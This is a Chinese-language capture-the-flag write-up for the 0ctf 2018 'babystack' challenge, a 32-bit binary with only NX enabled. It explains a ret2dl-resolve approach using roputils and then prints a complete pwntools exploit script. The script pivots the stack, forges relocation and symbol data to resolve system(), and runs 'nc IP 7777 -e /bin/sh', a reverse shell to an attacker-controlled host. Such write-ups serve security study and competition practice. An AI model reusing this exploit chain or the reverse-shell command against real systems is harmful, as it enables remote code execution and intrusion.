0ctf 2018 baby stack记录

image.png

题目提示信息,信息泄露不再需要栈溢出
检查保护措施,只开启了NX栈不可执行


image.png

通过objdump查看文件,其中只有read函数调用
image.png

通过IDA查看,溢出点很明显


image.png

通过测试数据,拿到padding的填充长度为44
image.png

image.png

在这之后思路卡了很久很久!比赛结束才有突破!

ROPgaget查看后并没有很多的可利用gaget,也没有write函数等可以泄露system地址
并且题目也没有给出libc
这里再次看题目信息,提示可以不用栈溢出拿到信息

通关死磕,终于查阅资料得到ret2dl-resolve的思路,可以通过函数动态链接过程,伪造symbol达到执行system的效果
相关资料可以参考以下的文章:
http://www.cnblogs.com/Ox9A82/p/5487275.html
https://zhuanlan.zhihu.com/p/23255727
http://rk700.github.io/2015/08/09/return-to-dl-resolve/

ret2dl-resolve可以使用已有的工具快捷利用:roputils
https://github.com/inaz2/roputils

思路有了,但是这题的read只能输入64字节,而其中padding已经用去了44字节,剩下的空间不够放入payload


image.png

因此这题还需要通过减少esp指针,想办法扩大payload空间
其中可以利用的点在


image.png

第一次read溢出覆盖ret地址为0x8048446,进行栈布局后再次调用read函数
第二次read中写入ret2dl-resolve的利用payload即可

最终exp:

from pwn import *
import roputils
from hashlib import sha256

p = remote('202.120.7.202',6666)

random = p.recv(16)
print "[*]random"+random
flag=0
print random
for i in range(36,126):
        if flag==1:
                break
        for j in range(36,126):
                if flag==1:
                        break
                for k in range(36,126):
                        if flag==1:
                                break
                        for n in range(36,126):
                                str=chr(i)+chr(j)+chr(k)+chr(n)
                                if sha256(random+str).digest().startswith('\0\0\0'):
                                        hash=str
                                        print hash
                                        flag=1
                                        break

p.send(hash)

payload = "A"*40
payload += p32(0x804a500)
payload += p32(0x8048446)
payload += p32(80)                 # exact length of stage 2 payload
payload += "B"*(64-len(payload))

rop = roputils.ROP('./babystack')
addr_bss = rop.section('.bss')
payload += "A"*40
payload += p32(0x804a500)

# Read the fake tabs from payload2 to bss
payload += rop.call("read", 0, addr_bss, 150)

# Call dl_resolve with offset to our fake symbol
payload += rop.dl_resolve_call(addr_bss+60, addr_bss)

# Create fake rel and sym on bss
payload2 = rop.string("nc %s 7777 -e /bin/sh" % "IP")
payload2 += rop.fill(60, payload2)                        # Align symbol to bss+60
payload2 += rop.dl_resolve_data(addr_bss+60, "system")    # Fake r_info / st_name
payload2 += rop.fill(150, payload2)

payload += payload2
payload = payload.ljust(0x100, "\x00")
print len(payload)
p.sendline(payload)
#p.send("A"*44 + flat(rop) + "A"*(256-44-len(flat(rop))))
p.interactive()
image.png

你可能感兴趣的:(0ctf 2018 baby stack记录)